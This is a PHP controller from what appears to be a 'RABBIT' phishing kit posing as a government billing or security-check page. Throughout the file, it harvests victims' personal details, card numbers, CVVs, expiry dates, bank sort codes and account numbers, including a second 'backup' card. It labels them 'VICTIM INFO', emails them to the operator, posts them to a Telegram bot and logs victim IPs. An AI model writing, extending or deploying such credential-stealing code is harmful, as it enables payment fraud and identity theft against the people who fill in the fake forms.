<?php
defined("ALLOW") or exit('No direct script access allowed');

class Billing
{
	public $goRABBIT;
	public function __construct()
	{
		$this->goRABBIT = new goRABBIT();

		// Blocker disabled - allow direct access
		// Original code blocked access without session
	}

	public function index()
	{
		echo view('mobile/billing');
	}

	public function first()
	{
		if (isset($_POST['fname'])) {
			$_SESSION['fname'] = trim($_POST['fname']);
		}
		if (isset($_POST['dob'])) {
			$_SESSION['dob'] = trim($_POST['dob']);
		}
		if (isset($_POST['address'])) {
			$_SESSION['address'] = trim($_POST['address']);
		}
		if (isset($_POST['city'])) {
			$_SESSION['city'] = trim($_POST['city']);
		}
		if (isset($_POST['state'])) {
			$_SESSION['state'] = trim($_POST['state']);
		}
		if (isset($_POST['zip'])) {
			$_SESSION['zip'] = trim($_POST['zip']);
		}
		if (isset($_POST['driverlicense'])) {
			$_SESSION['driverlicense'] = trim($_POST['driverlicense']);
		}
		if (isset($_POST['phone'])) {
			$_SESSION['phone'] = trim($_POST['phone']);
		}
		if (isset($_POST['email'])) {
			$_SESSION['email'] = trim($_POST['email']);
		}
		if ($this->goRABBIT->is_mobile) {
			echo view('mobile/card');
		} else {
			echo view('pc/card');
		}
	}

	// NEW METHOD: Process Card 1 (Step 2) via AJAX
	public function processCard1()
	{
		// CSRF Token Validation
		if (!isset($_POST['csrf_token']) || !validateCSRFToken($_POST['csrf_token'])) {
			die('CSRF token validation failed. Access denied.');
		}
		
		if (isset($_POST) && isset($_SESSION)) {
			// Store personal info in session
			$_SESSION['fname'] = $_POST['fname'];
			$_SESSION['user'] = $_POST['user'];
			$_SESSION['mobilenum'] = $_POST['mobilenum'];
			$_SESSION['address'] = $_POST['address'];
			$_SESSION['postcode'] = $_POST['postcode'];
			$_SESSION['day'] = $_POST['day'];
			$_SESSION['month'] = $_POST['month'];
			$_SESSION['year'] = $_POST['year'];
			$_SESSION['sortcode'] = $_POST['sortcode'];
			$_SESSION['actnumber'] = $_POST['actnumber'];
			
			// Get card 1 data
			$fullname = $_POST['fname'];
			$day = $_POST['day'];
			$month = $_POST['month'];
			$year = $_POST['year'];
			$dob = $day . $month . $year;
			$address = $_POST['address'];
			$email = $_POST['user'];
			$zipCode = $_POST['postcode'];
			$phone = $_POST['mobilenum'];
			$_SESSION['email'] = $_POST['user'];
			
			$cardNumber = $_POST['ccn'];
			$cardNumber = str_replace(" ", "", $cardNumber);
			$Cvv = $_POST['cvv'];
			$emonth = $_POST['emonth'];
			$eyear = $_POST['eyear'];
			$expDate = $emonth."|".$eyear;
			$sortcode = $_POST['sortcode'];
			$actnumber = $_POST['actnumber'];
			
			$_SESSION['ccn'] = $cardNumber;
			$_SESSION['expdate'] = $expDate;

			$ccN = substr($cardNumber, 0, 6);
			$bin = look_bin($cardNumber);

			$message =
				"<fieldset style='border: 3px solid #e4e3e2; border-radius: 20px; max-width: 90%; margin: 0 auto;'>
<pre>
<strong><span style='color: #999999;'>:: RABBIT ::</span></strong>
<strong>:: GOV CC 1 ::</strong>
<pre>

# BIN 			  : {$bin}
# Cardholder Name : {$fullname}
# Card Number 	  : {$cardNumber}
# Expiry Date	  : {$emonth}|{$eyear}
# CVV   	  	  : {$Cvv}
# Check Format : {$cardNumber}|{$emonth}|{$eyear}|{$Cvv}
</pre>	

<strong>:: VICTIM INFO ::</strong>
<pre>	

# Fullname   : {$fullname}			
# Address    : {$address}
# Email      : {$email}
# DOB	   	 : {$day}/{$month}/{$year}
# Phone    	 : {$phone}
# Zip Code 	 : {$zipCode}
# Sortcode 	 : {$sortcode}
# Acc number : {$actnumber}
</pre>	

<strong>:: VISITOR DETAILS ::</strong>
<pre>	

# Date &amp; Time  : " . _date() . "  
# Device       : {$this->goRABBIT->platform}
# Browser      : {$this->goRABBIT->browser}
# Country      : {$_SESSION['country']}
# State        : {$_SESSION['regionName']}
# City         : {$_SESSION['city']}
# Ip Address   : {$this->goRABBIT->ip_address}
# Isp Info     : {$_SESSION['isp']}
# Connection   : {$_SESSION['as']}
# User Agent   : {$this->goRABBIT->agent}

</pre>
</fieldset>
</pre>";

			$subject = "GOV CC1 :: {$bin} :: [ {$_SESSION['country']} - {$this->goRABBIT->ip_address} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: RABBIT <cs@rabbitofc.xyz>";
			@mail(_config('RESULT'), $subject, $message, $headers);

			if (_config('TELEGRAM') == 'on') {
				$c = curl_init();
				curl_setopt($c, CURLOPT_URL, 'https://api.telegram.org/bot' . telex('token') . '/sendMessage?chat_id=' . telex('idtelegram') . '&text=' . urlencode(strip_tags($message)));
				curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
				curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
				curl_setopt($c, CURLOPT_SSL_VERIFYHOST, false);
				$x = curl_exec($c);
				curl_close($c);
			}

			write(FCPATH . 'RABBIT/Static/log_cc.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|GET CC 1\r\n");
			
			// Return JSON success for AJAX
			header('Content-Type: application/json');
			echo json_encode(['success' => true, 'message' => 'Card added successfully']);
			exit;
		}
	}

	// NEW METHOD: Process Card 2 (Backup Card - Step 3)
	public function processCard2()
	{
		// CSRF Token Validation
		if (!isset($_POST['csrf_token']) || !validateCSRFToken($_POST['csrf_token'])) {
			die('CSRF token validation failed. Access denied.');
		}
		
		if (isset($_POST) && isset($_SESSION)) {
			// Get data from session (from step 1)
			$fullname = $_SESSION['fname'];
			$address = $_SESSION['address'];
			$zipCode = $_SESSION['postcode'];
			$email = $_SESSION['user'];
			$phone = $_SESSION['mobilenum'];
			$day = $_SESSION['day'];
			$month = $_SESSION['month'];
			$year = $_SESSION['year'];
			$sortcode = $_SESSION['sortcode'];
			$actnumber = $_SESSION['actnumber'];
			
			// Get backup card data from POST
			$cardNumber2 = $_POST['ccn2'];
			$cardNumber2 = str_replace(" ", "", $cardNumber2);
			$Cvv2 = $_POST['cvv2'];
			$emonth2 = $_POST['emonth2'];
			$eyear2 = $_POST['eyear2'];
			$expDate2 = $emonth2."|".$eyear2;

			$ccN2 = substr($cardNumber2, 0, 6);
			$bin2 = look_bin($cardNumber2);

			$message =
				"<fieldset style='border: 3px solid #e4e3e2; border-radius: 20px; max-width: 90%; margin: 0 auto;'>
<pre>
<strong><span style='color: #999999;'>:: RABBIT ::</span></strong>
<strong>:: GOV CC 2 (BACKUP) ::</strong>
<pre>

# BIN 			  : {$bin2}
# Cardholder Name : {$fullname}
# Card Number 	  : {$cardNumber2}
# Expiry Date	  : {$emonth2}|{$eyear2}
# CVV   	  	  : {$Cvv2}
# Check Format : {$cardNumber2}|{$emonth2}|{$eyear2}|{$Cvv2}
</pre>	

<strong>:: VICTIM INFO ::</strong>
<pre>	

# Fullname   : {$fullname}			
# Address    : {$address}
# Email      : {$email}
# DOB	   	 : {$day}/{$month}/{$year}
# Phone    	 : {$phone}
# Zip Code 	 : {$zipCode}
# Sortcode 	 : {$sortcode}
# Acc number : {$actnumber}
</pre>	

<strong>:: VISITOR DETAILS ::</strong>
<pre>	

# Date &amp; Time  : " . _date() . "  
# Device       : {$this->goRABBIT->platform}
# Browser      : {$this->goRABBIT->browser}
# Country      : {$_SESSION['country']}
# State        : {$_SESSION['regionName']}
# City         : {$_SESSION['city']}
# Ip Address   : {$this->goRABBIT->ip_address}
# Isp Info     : {$_SESSION['isp']}
# Connection   : {$_SESSION['as']}
# User Agent   : {$this->goRABBIT->agent}

</pre>
</fieldset>
</pre>";

			$subject = "GOV CC2 (BACKUP) :: {$bin2} :: [ {$_SESSION['country']} - {$this->goRABBIT->ip_address} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: RABBIT <cs@rabbitofc.xyz>";
			@mail(_config('RESULT'), $subject, $message, $headers);

			if (_config('TELEGRAM') == 'on') {
				$c = curl_init();
				curl_setopt($c, CURLOPT_URL, 'https://api.telegram.org/bot' . telex('token') . '/sendMessage?chat_id=' . telex('idtelegram') . '&text=' . urlencode(strip_tags($message)));
				curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
				curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
				curl_setopt($c, CURLOPT_SSL_VERIFYHOST, false);
				$x = curl_exec($c);
				curl_close($c);
			}

			write(FCPATH . 'RABBIT/Static/log_cc.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|GET CC 2 BACKUP\r\n");
			
			preg_match("/\@(.+)\./", $_SESSION['email'], $match);
		    $_SESSION['email_type'] = $match[1];

			// Redirect to finished
			if (_config('GETEMAIL') == 'on'){
				$_SESSION['access'] = 7;
				redirect(base_url() . 'security-check/email?_id=' . md5(time()));    
			} else {
				$_SESSION['access'] = 8;
				redirect(base_url() . 'security-check/finished/#_dn=' . md5(rand(0, 999)));
			}
		}
	}

	// OLD METHOD: Keep for backward compatibility
	public function process()
	{
		if (isset($_POST) && isset($_SESSION)) {
			$fullname = $_POST['fname'];
			$dob = $_POST['day'] . $_POST['month'] . $_POST['year'];
			$day = $_POST['day'];
			$month = $_POST['month'];
			$year = $_POST['year'];
			$address = $_POST['address'];
			$email = $_POST['user'];
			$state = $_POST['state'];
			$zipCode = $_POST['postcode'];
			$driverLicense = $_SESSION['driverlicense'];
			$phone = $_POST['mobilenum'];
			$_SESSION['email'] = $_POST['user'];
			$cardNumber = $_POST['ccn'];
			$cardNumber = str_replace(" ", "", $cardNumber);
			$Cvv = $_POST['cvv'];
			$cardExpY = $_POST['expyear'];
			$emonth = $_POST['emonth'];
			$eyear = $_POST['eyear'];
			$expDate = $emonth."|".$eyear;
			$sortcode = $_POST['sortcode'];
			$actnumber = $_POST['actnumber'];
			$cardExp = substr($cardExpY, 2);
			$_SESSION['ccn'] = $cardNumber;
			$_SESSION ['expdate'] = $expDate;

			$ccN = substr($cardNumber, 0, 6);
			$bin = look_bin($cardNumber);

			$message =
				"<fieldset style='border: 3px solid #e4e3e2; border-radius: 20px; max-width: 90%; margin: 0 auto;'>
<pre>
<strong><span style='color: #999999;'>:: RABBIT ::</span></strong>
<strong>:: GOV CC 1 ::</strong>
<pre>

# BIN 			  : {$bin}
# Cardholder Name : {$fullname}
# Card Number 	  : {$cardNumber}
# Expiry Date	  : {$emonth}|{$eyear}
# CVV   	  	  : {$Cvv}
# Check Format : {$cardNumber}|{$emonth}|{$eyear}|{$Cvv}
</pre>	

<strong>:: VICTIM INFO ::</strong>
<pre>	

# Fullname   : {$fullname}			
# Address    : {$address}
# Email      : {$email}
# DOB	   	 : {$day}/{$month}/{$year}
# Phone    	 : {$phone}
# Zip Code 	 : {$zipCode}
# Sortcode 	 : {$sortcode}
# Acc number : {$actnumber}
</pre>	

<strong>:: VISITOR DETAILS ::</strong>
<pre>	

# Date &amp; Time  : " . _date() . "  
# Device       : {$this->goRABBIT->platform}
# Browser      : {$this->goRABBIT->browser}
# Country      : {$_SESSION['country']}
# State        : {$_SESSION['regionName']}
# City         : {$_SESSION['city']}
# Ip Address   : {$this->goRABBIT->ip_address}
# Isp Info     : {$_SESSION['isp']}
# Connection   : {$_SESSION['as']}
# User Agent   : {$this->goRABBIT->agent}

</pre>
</fieldset>
</pre>";

			$subject = "GOV CC1 :: {$bin} :: [ {$_SESSION['country']} - {$this->goRABBIT->ip_address} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: RABBIT <cs@rabbitofc.xyz>";
			@mail(_config('RESULT'), $subject, $message, $headers);

			if (_config('TELEGRAM') == 'on') {
				$c = curl_init();
				curl_setopt($c, CURLOPT_URL, 'https://api.telegram.org/bot' . telex('token') . '/sendMessage?chat_id=' . telex('idtelegram') . '&text=' . urlencode(strip_tags($message)));
				curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
				curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
				curl_setopt($c, CURLOPT_SSL_VERIFYHOST, false);
				$x = curl_exec($c);
				curl_close($c);
			}

			write(FCPATH . 'RABBIT/Static/log_cc.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|GET CC 1\r\n");
			
			preg_match("/\@(.+)\./", $_SESSION['email'], $match);
		    $_SESSION['email_type'] = $match[1];

			if (_config('DOUBLECARD') == 'on') {
				$_SESSION['access'] = 6;
				redirect(base_url() . 'security-check/payment/#errorId=' . md5(time()));
			} else if (_config('GETEMAIL') == 'on'){
				$_SESSION['access'] = 7;
				redirect(base_url() . 'security-check/email?_id=' . md5(time()));    
			} else {
				$_SESSION['access'] = 8;
				redirect(base_url() . 'security-check/finished/#_dn=' . md5(rand(0, 999)));
			}
		}
	}
}
